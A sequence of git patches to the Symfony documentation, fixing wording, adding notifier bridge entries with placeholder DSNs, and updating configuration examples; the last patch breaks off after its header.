Date: Tue, 29 Nov 2022 10:20:54 +0100
Subject: [PATCH 3911/7107] Clarify how `CollectionType` entries are indexed

Clarifying the indexing for `CollectionType`entries prevents further confusion about how to entries can be identified in the front end as well as when viewing the request data.
---
 reference/forms/types/collection.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index c5572f93c6b..ab537de89ab 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -11,6 +11,8 @@ forms, which is useful when creating forms that expose one-to-many
 relationships (e.g. a product from where you can manage many related product
 photos).
 
+When rendered, existing collection entries are indexed by the keys of the array that is passed as the collection type field data.
+
 +---------------------------+--------------------------------------------------------------------------+
 | Rendered as               | depends on the `entry_type`_ option                                      |
 +---------------------------+--------------------------------------------------------------------------+

From 26b4ef1ba6f25b2e19aca3b6eec9a23591ec6fc6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 28 Nov 2022 22:25:39 +0100
Subject: [PATCH 3912/7107] Replace an URL by a URL

---
 components/dom_crawler.rst            | 2 +-
 reference/configuration/framework.rst | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index e39a04224e5..14dee197db6 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -647,7 +647,7 @@ Resolving a URI
 
     The :class:`Symfony\\Component\\DomCrawler\\UriResolver` helper class was added in Symfony 5.1.
 
-The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes an URI
+The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes a URI
 (relative, absolute, fragment, etc.) and turns it into an absolute URI against
 another given base URI::
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 06df82f51ef..fcbf68d1609 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2359,7 +2359,7 @@ package:
 
 .. note::
 
-    If an URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
+    If a URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
 
 .. _reference-assets-strict-mode:
 

From 4866b8f210360a364e7db292d12228c9e63c1379 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 29 Nov 2022 15:50:26 -0400
Subject: [PATCH 3913/7107] [Notifier] Add Termii bridge

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index cdb1881890f..cd64493cfd9 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -93,6 +93,7 @@ Smsc             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@
 SMSFactor        ``symfony/sms-factor-notifier``        ``sms-factor://TOKEN@default?sender=SENDER&push_type=PUSH_TYPE``
 SpotHit          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 Telnyx           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+Termii           ``symfony/termii-notifier``            ``termii://API_KEY@default?from=FROM&channel=CHANNEL``
 TurboSms         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
 Twilio           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``
 Vonage           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``
@@ -109,6 +110,10 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
     The ContactEveryone and SMSFactor integrations were introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The Termii integration was introduced in Symfony 6.3.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 

From ae02dda8ee2031f11bab512d5831120c9e42b7fb Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 30 Nov 2022 17:32:09 +0100
Subject: [PATCH 3914/7107] Example using `hash_property_path` with
 `RepeatedType`

---
 reference/forms/types/password.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 9f6010675f0..446363f1a7c 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -63,6 +63,15 @@ object.
             'mapped' => false,
         ]);
 
+    or if you want to use it with the ``RepeatedType``::
+
+        $builder->add('plainPassword', RepeatedType::class, [
+            'type' => PasswordType::class,
+            'first_options'  => ['label' => 'Password', 'hash_property_path' => 'password'],
+            'second_options' => ['label' => 'Repeat Password'],
+            'mapped' => false,
+        ]);
+
 Overridden Options
 ------------------
 

From d39d7539ddd58e0f2cd69dbc0227d1710e36497f Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Wed, 30 Nov 2022 17:38:48 +0100
Subject: [PATCH 3915/7107] Better grammatical wording

---
 components/validator/metadata.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/metadata.rst b/components/validator/metadata.rst
index f5df3fa68de..1ab98a590d6 100755
--- a/components/validator/metadata.rst
+++ b/components/validator/metadata.rst
@@ -37,7 +37,7 @@ Getters
 
 Constraints can also be applied to the value returned by any public *getter*
 method, which are the methods whose names start with ``get``, ``has`` or ``is``.
-This feature allows to validate your objects dynamically.
+This feature allows validating your objects dynamically.
 
 Suppose that, for security reasons, you want to validate that a password field
 doesn't match the first name of the user. First, create a public method called

From f9577a7d45fcd5e629f93ffc328ce08ff4e86600 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Dec 2022 17:18:55 +0100
Subject: [PATCH 3916/7107] Minor tweak

---
 components/property_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index f9b693336a8..7f20064fb69 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -324,7 +324,7 @@ this returns ``true`` if:
   ``@var Doctrine\Common\Collections\Collection<App\Entity\SomeEntity>``, etc.)
 
 ``Type::getCollectionKeyTypes()`` & ``Type::getCollectionValueTypes()``
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If the property is a collection, additional type objects may be returned
 for both the key and value types of the collection (if the information is

From 97b942faf685b6233fbea1621ceea48d4296e12b Mon Sep 17 00:00:00 2001
From: c33s <dev@c33s.net>
Date: Sat, 19 Nov 2022 13:55:14 +0100
Subject: [PATCH 3917/7107] [Framework] clearified base_uri behavior with extra
 examples

---
 reference/configuration/framework.rst | 25 +++++++++++++++----------
 1 file changed, 15 insertions(+), 10 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index fcbf68d1609..487808e293a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -963,16 +963,21 @@ every request.
 
 Here are some common examples of how ``base_uri`` merging works in practice:
 
-=======================  ==================  ==========================
-``base_uri``             Relative URI        Actual Requested URI
-=======================  ==================  ==========================
-http://example.org       /bar                http://example.org/bar
-http://example.org/foo   /bar                http://example.org/bar
-http://example.org/foo   bar                 http://example.org/bar
-http://example.org/foo/  bar                 http://example.org/foo/bar
-http://example.org       http://symfony.com  http://symfony.com
-http://example.org/?bar  bar                 http://example.org/bar
-=======================  ==================  ==========================
+==========================  ==================  ==========================
+``base_uri``                Relative URI        Actual Requested URI
+==========================  ==================  ==========================
+http://example.org          /bar                http://example.org/bar
+http://example.org/foo      /bar                http://example.org/bar
+http://example.org/foo      bar                 http://example.org/bar
+http://example.org/foo/     /bar                http://example.org/bar
+http://example.org/foo/     bar                 http://example.org/foo/bar
+http://example.org          http://symfony.com  http://symfony.com
+http://example.org/?bar     bar                 http://example.org/bar
+http://example.org/api/v4   /bar                http://example.org/bar
+http://example.org/api/v4/  /bar                http://example.org/bar
+http://example.org/api/v4   bar                 http://example.org/api/bar
+http://example.org/api/v4/  bar                 http://example.org/api/v4/bar
+==========================  ==================  ==========================
 
 bindto
 ......

From 4e955279e0fec6cfedbd8ed6f637accb4997e645 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Dec 2022 17:25:29 +0100
Subject: [PATCH 3918/7107] Minor tweak

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 487808e293a..391db4ba386 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -963,9 +963,9 @@ every request.
 
 Here are some common examples of how ``base_uri`` merging works in practice:
 
-==========================  ==================  ==========================
+==========================  ==================  =============================
 ``base_uri``                Relative URI        Actual Requested URI
-==========================  ==================  ==========================
+==========================  ==================  =============================
 http://example.org          /bar                http://example.org/bar
 http://example.org/foo      /bar                http://example.org/bar
 http://example.org/foo      bar                 http://example.org/bar
@@ -977,7 +977,7 @@ http://example.org/api/v4   /bar                http://example.org/bar
 http://example.org/api/v4/  /bar                http://example.org/bar
 http://example.org/api/v4   bar                 http://example.org/api/bar
 http://example.org/api/v4/  bar                 http://example.org/api/v4/bar
-==========================  ==================  ==========================
+==========================  ==================  =============================
 
 bindto
 ......

From ef14fc4ca4c061a21a48170b520a8d77a8f23282 Mon Sep 17 00:00:00 2001
From: Greg Pluta <gpluta@users.noreply.github.com>
Date: Thu, 1 Dec 2022 21:42:18 +0100
Subject: [PATCH 3919/7107] Fix "WordPress" spelling typo

---
 create_framework/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst
index bf872a5bb50..181c75b00d2 100644
--- a/create_framework/event_dispatcher.rst
+++ b/create_framework/event_dispatcher.rst
@@ -8,7 +8,7 @@ hook into the framework life cycle to modify the way the request is handled.
 What kind of hooks are we talking about? Authentication or caching for
 instance. To be flexible, hooks must be plug-and-play; the ones you "register"
 for an application are different from the next one depending on your specific
-needs. Many software have a similar concept like Drupal or Wordpress. In some
+needs. Many software have a similar concept like Drupal or WordPress. In some
 languages, there is even a standard like `WSGI`_ in Python or `Rack`_ in Ruby.
 
 As there is no standard for PHP, we are going to use a well-known design

From afb0b805a25840c740e885f842f3400d64cc8870 Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Thu, 1 Dec 2022 10:25:18 +0100
Subject: [PATCH 3920/7107] ValueResolver: fix resolver injection example

---
 controller/value_resolver.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 2ece1fcaa7d..f08aee9126d 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -265,7 +265,7 @@ and adding a priority:
                 autowire: true
             # ...
 
-            App\ArgumentResolver\UserValueResolver:
+            App\ArgumentResolver\BookingIdValueResolver:
                 tags:
                     - { name: controller.argument_value_resolver, priority: 150 }
 
@@ -283,7 +283,7 @@ and adding a priority:
                 <defaults autowire="true"/>
                 <!-- ... -->
 
-                <service id="App\ArgumentResolver\UserValueResolver">
+                <service id="App\ArgumentResolver\BookingIdValueResolver">
                     <tag name="controller.argument_value_resolver" priority="150"/>
                 </service>
             </services>
@@ -295,12 +295,12 @@ and adding a priority:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\ArgumentResolver\UserValueResolver;
+        use App\ArgumentResolver\BookingIdValueResolver;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();
 
-            $services->set(UserValueResolver::class)
+            $services->set(BookingIdValueResolver::class)
                 ->tag('controller.argument_value_resolver', ['priority' => 150])
             ;
         };

From 1b07595b77089cde6e748a0c14d41e0a5c326684 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 4 Dec 2022 16:12:28 +0200
Subject: [PATCH 3921/7107] setup version fix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index db2c1fe10b0..cd602461783 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.2.*@dev" --webapp
+    $ symfony new my_project_directory --version="6.2.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.2.*@dev"
+    $ symfony new my_project_directory --version="6.2.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.2.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.2.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.2.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.2.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 68b1b6c5ae06d3b332dd67d6f27d038207804b00 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:22:20 +0100
Subject: [PATCH 3922/7107] [Notifier] Add Twitter bridge

closes #17494
---
 notifier.rst | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index cdb1881890f..5c8fcff0945 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -176,9 +176,9 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==============  ====================================  =============================================================================
+==============  ====================================  ===============================================================================
 Service         Package                               DSN
-==============  ====================================  =============================================================================
+==============  ====================================  ===============================================================================
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Chatwork        ``symfony/chatwork-notifier``         ``chatwork://API_TOKEN@default?room_id=ID``
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
@@ -193,14 +193,19 @@ MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default
 RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Twitter         ``symfony/twitter-notifier``          ``TWITTER_DSN=twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
 Zendesk         ``symfony/zendesk-notifier``          ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-==============  ====================================  =============================================================================
+==============  ====================================  ===============================================================================
 
 .. versionadded:: 6.2
 
     The Zendesk and Chatwork integration were introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The Twitter integration was introduced in Symfony 6.3.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From 5d59bba309e2c3fbee208df121d32456d1076ae9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:24:37 +0100
Subject: [PATCH 3923/7107] Minor

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 6408bbe2299..2764b5464fb 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -717,7 +717,7 @@ typical alert levels, which you can implement immediately using:
 
         # config/services.yaml
         services:
-            notifier.flash_message_importance_mapper: 
+            notifier.flash_message_importance_mapper:
                 class: Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper
 
     .. code-block:: xml

From 1f50ed518be172b95e5d70c104f42160fceea2f8 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 29 Nov 2022 15:18:45 -0400
Subject: [PATCH 3924/7107] [Notifier] Add RingCentral bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 04dc921949d..c11298811b0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -83,6 +83,7 @@ Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vo
 Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
+RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
 Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
@@ -112,7 +113,7 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
 .. versionadded:: 6.3
 
-    The Termii integration was introduced in Symfony 6.3.
+    The RingCentral and Termii integrations were introduced in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 4dd26b9c155c04cb8f4462e039a45fe8f7ac12c3 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 29 Nov 2022 10:10:02 -0400
Subject: [PATCH 3925/7107] [Notifier] Add Bandwidth bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c11298811b0..35d64603009 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -65,6 +65,7 @@ Service          Package                                DSN
 46elks           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
 AllMySms         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
 AmazonSns        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+Bandwidth        ``symfony/bandwidth-notifier``         ``bandwidth://USERNAME:PASSWORD@default?from=FROM&account_id=ACCOUNT_ID&application_id=APPLICATION_ID&priority=PRIORITY``
 Clickatell       ``symfony/clickatell-notifier``        ``clickatell://ACCESS_TOKEN@default?from=FROM``
 ContactEveryone  ``symfony/contact-everyone-notifier``  ``contact-everyone://TOKEN@default?&diffusionname=DIFFUSION_NAME&category=CATEGORY``
 Esendex          ``symfony/esendex-notifier``           ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
@@ -113,7 +114,7 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
 .. versionadded:: 6.3
 
-    The RingCentral and Termii integrations were introduced in Symfony 6.3.
+    The Bandwith, RingCentral and Termii integrations were introduced in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 3f0c4c4e0e45e1ba95aee504e69d8f66b391129b Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 29 Nov 2022 13:17:57 -0400
Subject: [PATCH 3926/7107] [Notifier] Add Plivo bridge

---
 notifier.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 35d64603009..aa04833e291 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -84,7 +84,11 @@ Nexmo            ``symfony/nexmo-notifier``             Abandoned in favor of Vo
 Octopush         ``symfony/octopush-notifier``          ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms        ``symfony/orange-sms-notifier``        ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud         ``symfony/ovh-cloud-notifier``         ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
+<<<<<<< HEAD
 RingCentral      ``symfony/ring-central-notifier``      ``ringcentral://API_TOKEN@default?from=FROM``
+=======
+Plivo            ``symfony/plivo-notifier``             ``plivo://AUTH_ID:AUTH_TOKEN@default?from=FROM``
+>>>>>>> 80403f278 ([Notifier] Add Plivo bridge)
 Sendberry        ``symfony/sendberry-notifier``         ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue       ``symfony/sendinblue-notifier``        ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77            ``symfony/sms77-notifier``             ``sms77://API_KEY@default?from=FROM``
@@ -114,7 +118,7 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
 .. versionadded:: 6.3
 
-    The Bandwith, RingCentral and Termii integrations were introduced in Symfony 6.3.
+    The Bandwith, Plivo, RingCentral and Termii integrations were introduced in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From c5cfa31c7c8fe918820174a1a7e434791e295f4b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:40:00 +0100
Subject: [PATCH 3927/7107] Add versionadded directive

---
 notifier/events.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier/events.rst b/notifier/events.rst
index aef7c848cec..2b9c9f6d1eb 100644
--- a/notifier/events.rst
+++ b/notifier/events.rst
@@ -4,6 +4,11 @@
 Using Events
 ============
 
+.. versionadded:: 5.4
+
+    The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
+    introduced in Symfony 5.4.
+
 The class:``...\\..\\Transport`` of the Notifier component allows you to optionally hook
 into the lifecycle via events.
 

From a45341d49c965532b68e509784776bb8579d3799 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:40:39 +0100
Subject: [PATCH 3928/7107] Remove obsolete versionadded directive

---
 notifier/events.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/notifier/events.rst b/notifier/events.rst
index 2b9c9f6d1eb..aef7c848cec 100644
--- a/notifier/events.rst
+++ b/notifier/events.rst
@@ -4,11 +4,6 @@
 Using Events
 ============
 
-.. versionadded:: 5.4
-
-    The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
-    introduced in Symfony 5.4.
-
 The class:``...\\..\\Transport`` of the Notifier component allows you to optionally hook
 into the lifecycle via events.
 

From b2a2c875f5441dfc6ada2e0659c949b0a2133791 Mon Sep 17 00:00:00 2001
From: Simon Leblanc <contact@leblanc-simon.eu>
Date: Sun, 20 Nov 2022 18:13:01 +0100
Subject: [PATCH 3929/7107] [Notifier] Add iSendPro notifier

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index aa04833e291..bd76d1ba81a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -74,6 +74,7 @@ FreeMobile       ``symfony/free-mobile-notifier``       ``freemobile://LOGIN:API
 GatewayApi       ``symfony/gateway-api-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
 Infobip          ``symfony/infobip-notifier``           ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms            ``symfony/iqsms-notifier``             ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+iSendPro         ``symfony/isendpro-notifier``          ``isendpro://ACCOUNT_KEY_ID@default?from=FROM&no_stop=NO_STOP&sandbox=SANDBOX``
 KazInfoTeh       ``symfony/kaz-info-teh-notifier``      ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 LightSms         ``symfony/light-sms-notifier``         ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 Mailjet          ``symfony/mailjet-notifier``           ``mailjet://TOKEN@default?from=FROM``
@@ -118,7 +119,8 @@ Yunpian          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@defau
 
 .. versionadded:: 6.3
 
-    The Bandwith, Plivo, RingCentral and Termii integrations were introduced in Symfony 6.3.
+    The Bandwith, iSendPro, Plivo, RingCentral and Termii integrations were introduced
+    in Symfony 6.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From a5f1f2c3e61d0d31c1a7f89324cc39125c5896d1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:55:04 +0100
Subject: [PATCH 3930/7107] [Notifier] Add LINE Notify bridge

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index bd76d1ba81a..0e74c017cd3 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -199,6 +199,7 @@ FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+LINE Notify     ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
 LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
 Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
@@ -217,7 +218,7 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
 .. versionadded:: 6.3
 
-    The Twitter integration was introduced in Symfony 6.3.
+    The LINE Notify and Twitter integrations were introduced in Symfony 6.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 418db4c7f2da7609553f7e6f1433baf7101a1b5a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 4 Dec 2022 21:55:44 +0100
Subject: [PATCH 3931/7107] Remove env var

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index bd76d1ba81a..c27b898ddcd 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -206,7 +206,7 @@ MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default
 RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-Twitter         ``symfony/twitter-notifier``          ``TWITTER_DSN=twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
+Twitter         ``symfony/twitter-notifier``          ``twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
 Zendesk         ``symfony/zendesk-notifier``          ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ==============  ====================================  ===============================================================================

From 5f68f509f513d41f9fdae38154f128e9ff419240 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sun, 4 Dec 2022 22:05:38 +0100
Subject: [PATCH 3932/7107] Update security.rst

i think the new namespace  is Symfony\Bundle\SecurityBundle\Security
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index a927e4b2350..e3a6ccf9038 100644
--- a/security.rst
+++ b/security.rst
@@ -1940,7 +1940,7 @@ If you need to get the logged in user from a service, use the
 
     The :class:`Symfony\\Bundle\\SecurityBundle\\Security` class
     was introduced in Symfony 6.2. In previous Symfony versions this class was
-    defined in ``Symfony\Bundle\SecurityBundle\Security``.
+    defined in ``Symfony\Component\Security\Core\Security``.
 
 Fetch the User in a Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 246b7415ce994d3db6c4dd16a2d9837cd15fecca Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Dec 2022 22:20:30 +0100
Subject: [PATCH 3933/7107] Update `framework.exceptions` XML and PHP
 configuration examples

---
 reference/configuration/framework.rst | 21 ++++++++-------------
 1 file changed, 8 insertions(+), 13 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 391db4ba386..06678374267 100644
